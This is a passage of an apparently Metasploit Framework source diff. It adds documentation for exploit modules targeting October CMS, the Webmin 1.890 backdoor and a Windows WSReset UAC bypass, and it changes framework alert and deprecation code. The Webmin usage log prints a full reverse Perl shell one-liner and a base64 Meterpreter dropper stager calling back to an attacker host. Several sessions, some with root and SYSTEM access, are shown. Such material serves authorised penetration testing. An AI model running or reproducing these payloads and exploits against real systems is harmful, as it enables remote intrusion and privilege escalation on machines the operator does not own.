msf5 exploit(multi/http/october_upload_bypass_exec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.10.14.8:4444
|
||||
[+] Token for login : 3ySsc8d8VNMm2V8x3Ns4cay05bwhRxnoIkQjRnBP
|
||||
[+] Session Key for login : uVNSZ2YRUm39cf8kqJcWV0qr9xhqq9krCYHeVI6m
|
||||
[*] Trying to Login ......
|
||||
[+] Authentication successful: admin:admin
|
||||
[*] Trying to upload malicious WLMVDKmVpCX.php5 file ....
|
||||
[*] Sending stage (38247 bytes) to 10.10.10.16
|
||||
[*] Meterpreter session 1 opened (10.10.14.8:4444 -> 10.10.10.16:54124) at 2019-09-03 12:19:20 +0530
|
||||
[+] Deleted WLMVDKmVpCX.php5
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : october
|
||||
OS : Linux october 4.4.0-78-generic #99~14.04.2-Ubuntu SMP Thu Apr 27 18:51:25 UTC 2017 i686
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,123 @@
|
||||
## Intro
|
||||
|
||||
This module exploits a backdoor in Webmin versions 1.890 through 1.920.
|
||||
Only the SourceForge downloads were backdoored, but they are listed as
|
||||
official downloads on the project's site.
|
||||
|
||||
Unknown attacker(s) inserted Perl `qx` statements into the build server's
|
||||
source code on two separate occasions: once in April 2018, introducing
|
||||
the backdoor in the 1.890 release, and in July 2018, reintroducing the
|
||||
backdoor in releases 1.900 through 1.920.
|
||||
|
||||
Only version 1.890 is exploitable in the default install. Later affected
|
||||
versions require the expired password changing feature to be enabled.
|
||||
|
||||
## Analysis
|
||||
|
||||
The backdoored code can compared across space and time with `diff3(1)`.
|
||||
|
||||
```
|
||||
wvu@kharak:~/Downloads$ diff3 webmin-1.{890,930,920}/password_change.cgi
|
||||
====2
|
||||
1:1c
|
||||
3:1c
|
||||
#!/usr/bin/perl
|
||||
2:1c
|
||||
#!/usr/local/bin/perl
|
||||
====1
|
||||
1:12c
|
||||
$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;
|
||||
2:12c
|
||||
3:12c
|
||||
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
|
||||
====3
|
||||
1:40c
|
||||
2:40c
|
||||
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
|
||||
3:40c
|
||||
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
|
||||
====3
|
||||
1:200c
|
||||
2:200c
|
||||
# Show ok page
|
||||
3:200c
|
||||
|
||||
wvu@kharak:~/Downloads$
|
||||
```
|
||||
|
||||
## Setup
|
||||
|
||||
1. `wget https://prdownloads.sourceforge.net/webadmin/webmin-1.890.tar.gz`
|
||||
2. `tar xf webmin-1.890.tar.gz`
|
||||
3. `cd webmin-1.890`
|
||||
4. `./setup.sh`
|
||||
|
||||
## Targets
|
||||
|
||||
```
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic (Unix In-Memory)
|
||||
1 Automatic (Linux Dropper)
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
**RPORT**
|
||||
|
||||
Set this to the Webmin port. The default is 10000.
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
Set this to the Webmin base path. The default is `/`.
|
||||
|
||||
**ForceExploit**
|
||||
|
||||
Set this to `true` to override the `check` result during exploitation.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 exploit(unix/webapp/webmin_backdoor) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.28.128.1:4444
|
||||
[*] Webmin 1.890 detected
|
||||
[+] Webmin 1.890 is a supported target
|
||||
[+] Webmin executed a benign check command
|
||||
[*] Configuring Automatic (Unix In-Memory) target
|
||||
[*] Sending cmd/unix/reverse_perl command payload
|
||||
[*] Generated command payload: perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"172.28.128.1:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'
|
||||
[*] Command shell session 1 opened (172.28.128.1:4444 -> 172.28.128.5:58374) at 2019-08-21 16:49:24 -0500
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
uname -a
|
||||
Linux ubuntu-xenial 4.4.0-141-generic #167-Ubuntu SMP Wed Dec 5 10:40:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
|
||||
^Z
|
||||
Background session 1? [y/N] y
|
||||
msf5 exploit(unix/webapp/webmin_backdoor) > set target 1
|
||||
target => 1
|
||||
msf5 exploit(unix/webapp/webmin_backdoor) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.28.128.1:4444
|
||||
[*] Webmin 1.890 detected
|
||||
[+] Webmin 1.890 is a supported target
|
||||
[+] Webmin executed a benign check command
|
||||
[*] Configuring Automatic (Linux Dropper) target
|
||||
[*] Sending linux/x64/meterpreter/reverse_tcp command stager
|
||||
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+QAAAAAAAAB6AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UmoKQVlWUGopWJlqAl9qAV4PBUiFwHg7SJdIuQIAEVysHIABUUiJ5moQWmoqWA8FWUiFwHklSf/JdBhXaiNYagBqBUiJ50gx9g8FWVlfSIXAecdqPFhqAV8PBV5aDwVIhcB47//m>>'/tmp/FgFBP.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/tDGmH' < '/tmp/FgFBP.b64' ; chmod +x '/tmp/tDGmH' ; '/tmp/tDGmH' ; rm -f '/tmp/tDGmH' ; rm -f '/tmp/FgFBP.b64'"]
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3021284 bytes) to 172.28.128.5
|
||||
[*] Meterpreter session 2 opened (172.28.128.1:4444 -> 172.28.128.5:58376) at 2019-08-21 16:49:33 -0500
|
||||
[*] Command Stager progress - 100.00% done (819/819 bytes)
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 10.0.2.15
|
||||
OS : Ubuntu 16.04 (Linux 4.4.0-141-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,65 @@
|
||||
## Intro
|
||||
|
||||
This module exploits a flaw in the WSReset.exe Windows Store Reset Tool. The tool
|
||||
is run with the "autoElevate" property set to true, and it will automatically
|
||||
launch a file from a low-privilege registry location with elevated privileges.
|
||||
To bypass, simply place the binary on disk, write its location in the
|
||||
correct registry key, and run WSReset.exe. The binary will be run with elevated
|
||||
privileges.
|
||||
|
||||
## Usage
|
||||
|
||||
1. Create a session on the target system under the context of a local administrative user.
|
||||
1. Begin interacting with the module: `use exploit/windows/local/bypassuac_windows_store_reg`.
|
||||
1. Set the `PAYLOAD` and configure it correctly.
|
||||
1. If an existing handler is configured to receive the elevated session, then the module's
|
||||
handler should be disabled: `set DisablePayloadHandler true`.
|
||||
1. Make sure that the `SESSION` value is set to the existing session identifier.
|
||||
1. Invoke the module: `run`.
|
||||
|
||||
## Scenario
|
||||
|
||||
### Windows 10.0.17134.885 x64
|
||||
|
||||
```
|
||||
msf5 exploit(windows/local/bypassuac_windows_store_reg) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.135.168:4444
|
||||
[*] UAC is Enabled, checking level...
|
||||
[*] Checking admin status...
|
||||
[+] Part of Administrators group! Continuing...
|
||||
[+] UAC is set to Default
|
||||
[+] BypassUAC can bypass this setting, continuing...
|
||||
[*] win_dir = C:\Windows
|
||||
[*] tmp_dir = C:\Users\msfuser\AppData\Local\Temp
|
||||
[*] exploit_dir = C:\Windows\System32\
|
||||
[*] exploit_file = C:\Windows\System32\WSReset.exe
|
||||
[*] payload_pathname = C:\Users\msfuser\AppData\Local\Temp\LSbJpvsW.exe
|
||||
[*] Making Payload
|
||||
[*] reg_command = C:\Windows\System32\cmd.exe /c start C:\Users\msfuser\AppData\Local\Temp\LSbJpvsW.exe
|
||||
[*] Making Registry Changes
|
||||
[*] Registry Changes Complete
|
||||
[*] Uploading Payload to C:\Users\msfuser\AppData\Local\Temp\LSbJpvsW.exe
|
||||
[*] Payload Upload Complete
|
||||
[*] Launching C:\Windows\System32\WSReset.exe
|
||||
[!] This exploit requires manual cleanup of 'C:\Users\msfuser\AppData\Local\Temp\LSbJpvsW.exe!
|
||||
[*] Sending stage (206403 bytes) to 192.168.132.125
|
||||
[*] Meterpreter session 4 opened (192.168.135.168:4444 -> 192.168.132.125:49680) at 2019-09-04 17:01:46 -0500
|
||||
[*] Removing Registry Changes
|
||||
[*] Registry Changes Removed
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-3DKRD1E
|
||||
OS : Windows 10 (Build 17134).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > getuid
|
||||
Server username: DESKTOP-3DKRD1E\msfuser
|
||||
meterpreter > getsystem
|
||||
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
```
|
||||
@@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "4.17.76"
|
||||
VERSION = "4.17.83"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -84,6 +84,8 @@ module Buffer
|
||||
buf = Rex::Text.to_js_comment(buf)
|
||||
when 'java'
|
||||
buf = Rex::Text.to_c_comment(buf)
|
||||
when 'powershell','ps1'
|
||||
buf = Rex::Text.to_psh_comment(buf)
|
||||
else
|
||||
raise BufferFormatError, "Unsupported buffer format: #{fmt}", caller
|
||||
end
|
||||
|
||||
@@ -119,6 +119,7 @@ class Auxiliary < Msf::Module
|
||||
# Called directly before 'run'
|
||||
#
|
||||
def setup
|
||||
alert_user
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -45,11 +45,11 @@ module Ssl
|
||||
# identification by NIDS and the like.
|
||||
#
|
||||
# @return [String, String, Array]
|
||||
def self.ssl_generate_certificate(opts = {}, ksize = 2048)
|
||||
def self.ssl_generate_certificate(cert_vars: {}, ksize: 2048, **opts)
|
||||
yr = 24*3600*365
|
||||
vf = opts[:not_before] || Time.at(Time.now.to_i - rand(yr * 3) - yr)
|
||||
vt = opts[:not_after] || Time.at(vf.to_i + (rand(9)+1) * yr)
|
||||
cvars = opts[:cert_vars] || self.rand_vars
|
||||
cvars = self.rand_vars(cert_vars)
|
||||
subject = opts[:subject] || ssl_generate_subject(cvars)
|
||||
ctype = opts[:cert_type] || opts[:ca_cert].nil? ? :ca : :server
|
||||
key = opts[:key] || OpenSSL::PKey::RSA.new(ksize){ }
|
||||
|
||||
@@ -423,6 +423,8 @@ class Exploit < Msf::Module
|
||||
# the payload handler.
|
||||
#
|
||||
def setup
|
||||
alert_user
|
||||
|
||||
# Reset the session counts to zero.
|
||||
reset_session_counts
|
||||
|
||||
|
||||
@@ -24,6 +24,10 @@ module Exploit::Remote::RDP
|
||||
OptAddress.new('RDP_CLIENT_IP', [ true, 'The client IPv4 address to report during connect', '192.168.0.100']),
|
||||
Opt::RPORT(3389)
|
||||
], Msf::Exploit::Remote::RDP)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('RDP_TLS_SECURITY_LEVEL', [ true, 'Change default TLS security level. "0" (default) means everything is permitted. "1" rejects very weak parameters and "2" is even stricter.', 0 ])
|
||||
], Msf::Exploit::Remote::RDP)
|
||||
end
|
||||
|
||||
|
||||
@@ -1008,9 +1012,15 @@ module Exploit::Remote::RDP
|
||||
def swap_sock_plain_to_ssl(nsock)
|
||||
ctx = OpenSSL::SSL::SSLContext.new
|
||||
ctx.min_version = OpenSSL::SSL::TLS1_VERSION
|
||||
ctx.security_level = datastore['RDP_TLS_SECURITY_LEVEL']
|
||||
ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx)
|
||||
|
||||
ssl.connect
|
||||
begin
|
||||
ssl.connect
|
||||
rescue Errno::ECONNRESET
|
||||
vprint_error("Retry with advanced option RDP_TLS_SECURITY_LEVEL=0")
|
||||
raise
|
||||
end
|
||||
|
||||
nsock.extend(Rex::Socket::SslTcp)
|
||||
nsock.sslsock = ssl
|
||||
|
||||
@@ -307,35 +307,47 @@ protected
|
||||
Thread.current[:cli] = cli
|
||||
resp = Rex::Proto::Http::Response.new
|
||||
info = process_uri_resource(req.relative_resource)
|
||||
uuid = info[:uuid] || Msf::Payload::UUID.new
|
||||
uuid = info[:uuid]
|
||||
|
||||
# Configure the UUID architecture and payload if necessary
|
||||
uuid.arch ||= self.arch
|
||||
uuid.platform ||= self.platform
|
||||
if uuid
|
||||
# Configure the UUID architecture and payload if necessary
|
||||
uuid.arch ||= self.arch
|
||||
uuid.platform ||= self.platform
|
||||
|
||||
conn_id = luri
|
||||
if info[:mode] && info[:mode] != :connect
|
||||
conn_id << generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
|
||||
else
|
||||
conn_id << req.relative_resource
|
||||
conn_id = conn_id.chomp('/')
|
||||
end
|
||||
|
||||
request_summary = "#{conn_id} with UA '#{req.headers['User-Agent']}'"
|
||||
|
||||
# Validate known UUIDs for all requests if IgnoreUnknownPayloads is set
|
||||
if datastore['IgnoreUnknownPayloads'] && ! framework.uuid_db[uuid.puid_hex]
|
||||
print_status("Ignoring unknown UUID: #{request_summary}")
|
||||
info[:mode] = :unknown_uuid
|
||||
end
|
||||
|
||||
# Validate known URLs for all session init requests if IgnoreUnknownPayloads is set
|
||||
if datastore['IgnoreUnknownPayloads'] && info[:mode].to_s =~ /^init_/
|
||||
allowed_urls = framework.uuid_db[uuid.puid_hex]['urls'] || []
|
||||
unless allowed_urls.include?(req.relative_resource)
|
||||
print_status("Ignoring unknown UUID URL: #{request_summary}")
|
||||
info[:mode] = :unknown_uuid_url
|
||||
conn_id = luri
|
||||
if info[:mode] && info[:mode] != :connect
|
||||
conn_id << generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
|
||||
else
|
||||
conn_id << req.relative_resource
|
||||
conn_id = conn_id.chomp('/')
|
||||
end
|
||||
|
||||
request_summary = "#{conn_id} with UA '#{req.headers['User-Agent']}'"
|
||||
|
||||
# Validate known UUIDs for all requests if IgnoreUnknownPayloads is set
|
||||
if datastore['IgnoreUnknownPayloads'] && ! framework.db.get_payload({uuid: uuid.puid_hex})
|
||||
print_status("Ignoring unknown UUID: #{request_summary}")
|
||||
info[:mode] = :unknown_uuid
|
||||
end
|
||||
|
||||
# Validate known URLs for all session init requests if IgnoreUnknownPayloads is set
|
||||
if datastore['IgnoreUnknownPayloads'] && info[:mode].to_s =~ /^init_/
|
||||
payload_info = {
|
||||
uuid: uuid.puid_hex,
|
||||
}
|
||||
payload = framework.db.get_payload(payload_info)
|
||||
allowed_urls = payload ? payload.urls : []
|
||||
unless allowed_urls.include?(req.relative_resource)
|
||||
print_status("Ignoring unknown UUID URL: #{request_summary}")
|
||||
info[:mode] = :unknown_uuid_url
|
||||
end
|
||||
end
|
||||
|
||||
url = payload_uri(req) + conn_id
|
||||
url << '/' unless url[-1] == '/'
|
||||
|
||||
else
|
||||
info[:mode] = :unknown
|
||||
end
|
||||
|
||||
self.pending_connections += 1
|
||||
@@ -344,9 +356,6 @@ protected
|
||||
resp.code = 200
|
||||
resp.message = 'OK'
|
||||
|
||||
url = payload_uri(req) + conn_id
|
||||
url << '/' unless url[-1] == '/'
|
||||
|
||||
# Process the requested resource.
|
||||
case info[:mode]
|
||||
when :init_connect
|
||||
@@ -396,7 +405,7 @@ protected
|
||||
})
|
||||
|
||||
else
|
||||
unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode])
|
||||
unless [:unknown, :unknown_uuid, :unknown_uuid_url].include?(info[:mode])
|
||||
print_status("Unknown request to #{request_summary}")
|
||||
end
|
||||
resp.body = datastore['HttpUnknownRequestResponse'].to_s
|
||||
|
||||
+2
-11
@@ -14,6 +14,7 @@ module Msf
|
||||
#
|
||||
###
|
||||
class Module
|
||||
autoload :Alert, 'msf/core/module/alert'
|
||||
autoload :Arch, 'msf/core/module/arch'
|
||||
autoload :Auth, 'msf/core/module/auth'
|
||||
autoload :Author, 'msf/core/module/author'
|
||||
@@ -43,6 +44,7 @@ class Module
|
||||
autoload :Stability, 'msf/core/module/stability'
|
||||
autoload :Reliability, 'msf/core/module/reliability'
|
||||
|
||||
include Msf::Module::Alert
|
||||
include Msf::Module::Arch
|
||||
include Msf::Module::Auth
|
||||
include Msf::Module::Author
|
||||
@@ -93,17 +95,6 @@ class Module
|
||||
self.class.framework
|
||||
end
|
||||
|
||||
#
|
||||
# This method allows modules to tell the framework if they are usable
|
||||
# on the system that they are being loaded on in a generic fashion.
|
||||
# By default, all modules are indicated as being usable. An example of
|
||||
# where this is useful is if the module depends on something external to
|
||||
# ruby, such as a binary.
|
||||
#
|
||||
def self.is_usable
|
||||
true
|
||||
end
|
||||
|
||||
#
|
||||
# Creates an instance of an abstract module using the supplied information
|
||||
# hash.
|
||||
|
||||
@@ -0,0 +1,219 @@
|
||||
module Msf::Module::Alert
|
||||
# This mixin provides a way for alert messages to be added to module classes
|
||||
# and instances, retrieved from module classes and instances, and displayed
|
||||
# from module instances. The two alert levels provided by this mixin are
|
||||
# `:error` and `:warning`, though other levels or display methods can be
|
||||
# added by subclasses/other mixins if desired by overriding {#alert_user}
|
||||
# method (calling `super` as necessary), adding a proxy method like
|
||||
# {ClassMethods#add_warning} that calls {ClassMethods#add_alert} or
|
||||
# {#add_alert} and optionally a helper retrieval method like
|
||||
# {ClassMethods#warnings}.
|
||||
|
||||
module ClassMethods
|
||||
# Add a warning that will be provided to the user as early possible when
|
||||
# using the module, either when they select it with the `use` command, when
|
||||
# the module is about to start running, or when the module generates its
|
||||
# output.
|
||||
#
|
||||
# @param msg [String] an optional warning message
|
||||
# @param block [Proc] an optional block that will be executed in the
|
||||
# context of the module instance at alert time to generate the warning
|
||||
# message. If provided the msg parameter is ignored.
|
||||
# @return [true, nil] whether or not the message was added to the list of
|
||||
# warnings
|
||||
def add_warning(msg = nil, &block)
|
||||
add_alert(:warning, msg, &block)
|
||||
end
|
||||
|
||||
# Add an error that will be provided to the user as early possible when
|
||||
# using the module, either when they select it with the `use` command, when
|
||||
# the module is about to start running, or when the module generates its
|
||||
# output. Adding an error will cause {#is_usable} to return `false`.
|
||||
#
|
||||
# @param msg [String] an optional error message
|
||||
# @param block [Proc] an optional block that will be executed in the
|
||||
# context of the module instance at alert time to generate the error
|
||||
# message. If provided the msg parameter is ignored.
|
||||
# @return [true, nil] whether or not the message was added to the list of
|
||||
# errors
|
||||
def add_error(msg = nil, &block)
|
||||
add_alert(:error, msg, &block)
|
||||
end
|
||||
|
||||
# @return [Array<String, Proc>] a list of warning message strings, or
|
||||
# blocks (see #get_alerts)
|
||||
def warnings
|
||||
get_alerts(:warning)
|
||||
end
|
||||
|
||||
# @return [Array<String, Proc>] a list of error message strings, or
|
||||
# blocks (see #get_alerts)
|
||||
def errors
|
||||
get_alerts(:error)
|
||||
end
|
||||
|
||||
# @param [Symbol] the alert level to return
|
||||
# @return [Array<String, Proc>] a list of `level` alerts, either in string
|
||||
# or block form. Blocks expect to be executed in the context of a fully
|
||||
# initialized module instance and will return `nil` if the alert they are
|
||||
# looking for does not apply or a string or array of strings, each
|
||||
# representing an alert.
|
||||
def get_alerts(level)
|
||||
# Initialize here if needed, thanks to weird metaprogramming side-effects
|
||||
self.alerts ||= {}
|
||||
self.alerts[level] || []
|
||||
end
|
||||
|
||||
# This method allows modules to tell the framework if they are usable
|
||||
# on the system that they are being loaded on in a generic fashion.
|
||||
# By default, all modules are indicated as being usable. An example of
|
||||
# where this is useful is if the module depends on something external to
|
||||
# ruby, such as a binary.
|
||||
#
|
||||
# This looks to have been abandoned at some point in the past, but it may
|
||||
# be time to resurrect it.
|
||||
#
|
||||
# @return [true, false] whether or not the module has encountered any fatal
|
||||
# errors thus far.
|
||||
def usable?
|
||||
errors.empty?
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :alerts
|
||||
|
||||
# Add a message (or block that generates messages) to a module. This
|
||||
# message will be displayed once to the user by every instance of this
|
||||
# module.
|
||||
def add_alert(level, msg, &block)
|
||||
self.alerts ||= {}
|
||||
self.alerts[level] ||= []
|
||||
if block
|
||||
self.alerts[level] << block
|
||||
true
|
||||
elsif msg
|
||||
self.alerts[level] << msg
|
||||
true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# @nodoc
|
||||
def self.included(base)
|
||||
base.extend(ClassMethods)
|
||||
end
|
||||
|
||||
# Add a warning that will be provided to the user as early possible when
|
||||
# using this instance of a module, either when they select it with the `use`
|
||||
# command, when the module is about to start running, or when the module
|
||||
# generates its output.
|
||||
#
|
||||
# @param msg [String] an optional warning message
|
||||
# @param block [Proc] an optional block that will be executed in the
|
||||
# context of the module instance at alert time to generate the warning
|
||||
# message. If provided the msg parameter is ignored.
|
||||
# @return [true, nil] whether or not the message was added to the list of
|
||||
# warnings
|
||||
def add_warning(msg = nil, &block)
|
||||
add_alert(:warning, msg, &block)
|
||||
end
|
||||
|
||||
# Add a error that will be provided to the user as early possible when using
|
||||
# this instance of a module, either when they select it with the `use`
|
||||
# command, when the module is about to start running, or when the module
|
||||
# generates its output. Adding an error will cause {#is_usable} to return
|
||||
# `false`.
|
||||
#
|
||||
# @param msg [String] an optional error message
|
||||
# @param block [Proc] an optional block that will be executed in the
|
||||
# context of the module instance at alert time to generate the error
|
||||
# message. If provided the msg parameter is ignored.
|
||||
# @return [true, nil] whether or not the message was added to the list of
|
||||
# errors
|
||||
def add_error(msg = nil, &block)
|
||||
add_alert(:error, msg, &block)
|
||||
end
|
||||
|
||||
# This method allows modules to tell the framework if they are usable
|
||||
# on the system that they are being loaded on in a generic fashion.
|
||||
# By default, all modules are indicated as being usable. An example of
|
||||
# where this is useful is if the module depends on something external to
|
||||
# ruby, such as a binary.
|
||||
#
|
||||
# This looks to have been abandoned at some point in the past, but it may
|
||||
# be time to resurrect it.
|
||||
#
|
||||
# @return [true, false] whether or not the module has encountered any fatal
|
||||
# errors thus far.
|
||||
def is_usable?
|
||||
errors.empty?
|
||||
end
|
||||
|
||||
# @return [Array<String>] a list of warning strings to show the user
|
||||
def warnings
|
||||
get_alerts(:warning)
|
||||
end
|
||||
|
||||
# @return [Array<String>] a list of error strings to show the user
|
||||
def errors
|
||||
get_alerts(:error)
|
||||
end
|
||||
|
||||
# Similar to {ClassMethods#get_alerts}, but executes each registered block in
|
||||
# the context of this module instance and returns a flattened list of strings.
|
||||
# (see {ClassMethods#get_alerts})
|
||||
# @param [Symbol] the alert level to return
|
||||
# @return [Array<String>]
|
||||
def get_alerts(level)
|
||||
self.alerts ||= {}
|
||||
self.alerts[level] ||= []
|
||||
all_alerts = self.class.get_alerts(level) + self.alerts[level]
|
||||
all_alerts.map do |alert|
|
||||
case alert
|
||||
when Proc
|
||||
self.instance_exec &alert
|
||||
else
|
||||
alert
|
||||
end
|
||||
end.flatten.compact
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :alerts, :you_have_been_warned
|
||||
|
||||
# Add an alert for _this instance_ of a module (see {ClassMethods#add_alert})
|
||||
def add_alert(level, msg, &block)
|
||||
self.alerts ||= {}
|
||||
self.alerts[level] ||= []
|
||||
if block
|
||||
self.alerts[level] << block
|
||||
true
|
||||
elsif msg
|
||||
self.alerts[level] << msg
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
# Display alerts with `print_warning` for warnings and `print_error` for
|
||||
# errors. Alerts that have already been displayed by this module instance
|
||||
# with this method will not be displayed again.
|
||||
def alert_user
|
||||
self.you_have_been_warned ||= {}
|
||||
|
||||
errors.each do |msg|
|
||||
if msg && !self.you_have_been_warned[msg.hash]
|
||||
print_error(msg)
|
||||
self.you_have_been_warned[msg.hash] = true
|
||||
end
|
||||
end
|
||||
|
||||
warnings.each do |msg|
|
||||
if msg && !self.you_have_been_warned[msg.hash]
|
||||
print_warning(msg)
|
||||
self.you_have_been_warned[msg.hash] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -4,50 +4,49 @@ module Msf::Module::Deprecated
|
||||
|
||||
# Additional class methods for deprecated modules
|
||||
module ClassMethods
|
||||
attr_accessor :deprecation_date
|
||||
attr_accessor :deprecated_name
|
||||
|
||||
# Mark this module as deprecated
|
||||
#
|
||||
# Any time this module is run it will print warnings to that effect.
|
||||
#
|
||||
# @param deprecation_date [Date,#to_s] The date on which this module will
|
||||
# be removed
|
||||
# @param replacement_module [String] The name of a module that users
|
||||
# should be using instead of this deprecated one
|
||||
# @return [void]
|
||||
def deprecated(deprecation_date=nil, replacement_module=nil)
|
||||
# Yes, class instance variables.
|
||||
@replacement_module = replacement_module
|
||||
@deprecation_date = deprecation_date
|
||||
def deprecated(date)
|
||||
self.deprecation_date = date
|
||||
|
||||
# NOTE: fullname isn't set until a module has been added to a set, which is after it is evaluated
|
||||
add_warning do
|
||||
[ "*%red" + "The module #{fullname} is deprecated!".center(88) + "%clr*",
|
||||
"*" + "This module will be removed on or about #{self.class.deprecation_date}".center(88) + "*" ]
|
||||
end
|
||||
end
|
||||
|
||||
# The name of a module that users should be using instead of this
|
||||
# deprecated one
|
||||
# Mark this module as moved from another location. This adds an alias to
|
||||
# the module so that it can still be used by its old name and will print a
|
||||
# warning informing the use of the new name. This currently only works for
|
||||
# a single move, but it can be extended in the future for multiple moves.
|
||||
#
|
||||
# @return [String,nil]
|
||||
# @see ClassMethods#deprecated
|
||||
def replacement_module; @replacement_module; end
|
||||
# @param from [String] the previous `fullname` of the module
|
||||
def moved_from(from)
|
||||
self.deprecated_name = from
|
||||
|
||||
# The date on which this module will be removed
|
||||
#
|
||||
# @return [Date,nil]
|
||||
# @see ClassMethods#deprecated
|
||||
def deprecation_date; @deprecation_date; end
|
||||
end
|
||||
if const_defined?(:Aliases)
|
||||
const_get(:Aliases).append from
|
||||
else
|
||||
const_set(:Aliases, [from])
|
||||
end
|
||||
|
||||
# (see ClassMethods#replacement_module)
|
||||
def replacement_module
|
||||
if self.class.instance_variable_defined?(:@replacement_module)
|
||||
return self.class.replacement_module
|
||||
elsif self.class.const_defined?(:DEPRECATION_REPLACEMENT)
|
||||
return self.class.const_get(:DEPRECATION_REPLACEMENT)
|
||||
end
|
||||
end
|
||||
|
||||
# (see ClassMethods#deprecation_date)
|
||||
def deprecation_date
|
||||
if self.class.instance_variable_defined?(:@deprecation_date)
|
||||
return self.class.deprecation_date
|
||||
elsif self.class.const_defined?(:DEPRECATION_DATE)
|
||||
return self.class.const_get(:DEPRECATION_DATE)
|
||||
# NOTE: aliases are not set until after initialization, so might as well
|
||||
# use the block form of alert here too.
|
||||
add_warning do
|
||||
if fullname == self.class.deprecated_name
|
||||
[ "*%red" + "The module #{fullname} has been moved!".center(88) + "%clr*",
|
||||
"*" + "You are now using #{realname}".center(88) + "*" ]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -55,36 +54,4 @@ module Msf::Module::Deprecated
|
||||
def self.included(base)
|
||||
base.extend(ClassMethods)
|
||||
end
|
||||
|
||||
# Print the module deprecation information
|
||||
#
|
||||
# @return [void]
|
||||
def print_deprecation_warning
|
||||
print_warning("*"*90)
|
||||
print_warning("*%red"+"The module #{refname} is deprecated!".center(88)+"%clr*")
|
||||
if deprecation_date
|
||||
print_warning("*"+"It will be removed on or about #{deprecation_date}".center(88)+"*")
|
||||
end
|
||||
if replacement_module
|
||||
print_warning("*"+"Use #{replacement_module} instead".center(88)+"*")
|
||||
end
|
||||
print_warning("*"*90)
|
||||
end
|
||||
|
||||
def init_ui(input = nil, output = nil)
|
||||
super(input, output)
|
||||
print_deprecation_warning
|
||||
@you_have_been_warned = true
|
||||
end
|
||||
|
||||
def generate
|
||||
print_deprecation_warning
|
||||
super
|
||||
end
|
||||
|
||||
def setup
|
||||
print_deprecation_warning unless @you_have_been_warned
|
||||
super
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -24,6 +24,14 @@ module Msf::Module::FullName
|
||||
"#{type}/#{refname}"
|
||||
end
|
||||
|
||||
#
|
||||
# Classes themselves are never aliased (at the moment, anyway), but this is
|
||||
# always just the {#fullname}.
|
||||
#
|
||||
def realname
|
||||
fullname
|
||||
end
|
||||
|
||||
def promptname
|
||||
refname
|
||||
end
|
||||
@@ -57,6 +65,14 @@ module Msf::Module::FullName
|
||||
aliased_as || self.class.fullname
|
||||
end
|
||||
|
||||
#
|
||||
# Always return the module's framework full reference name, even when the
|
||||
# module is aliased.
|
||||
#
|
||||
def realname
|
||||
self.class.fullname
|
||||
end
|
||||
|
||||
#
|
||||
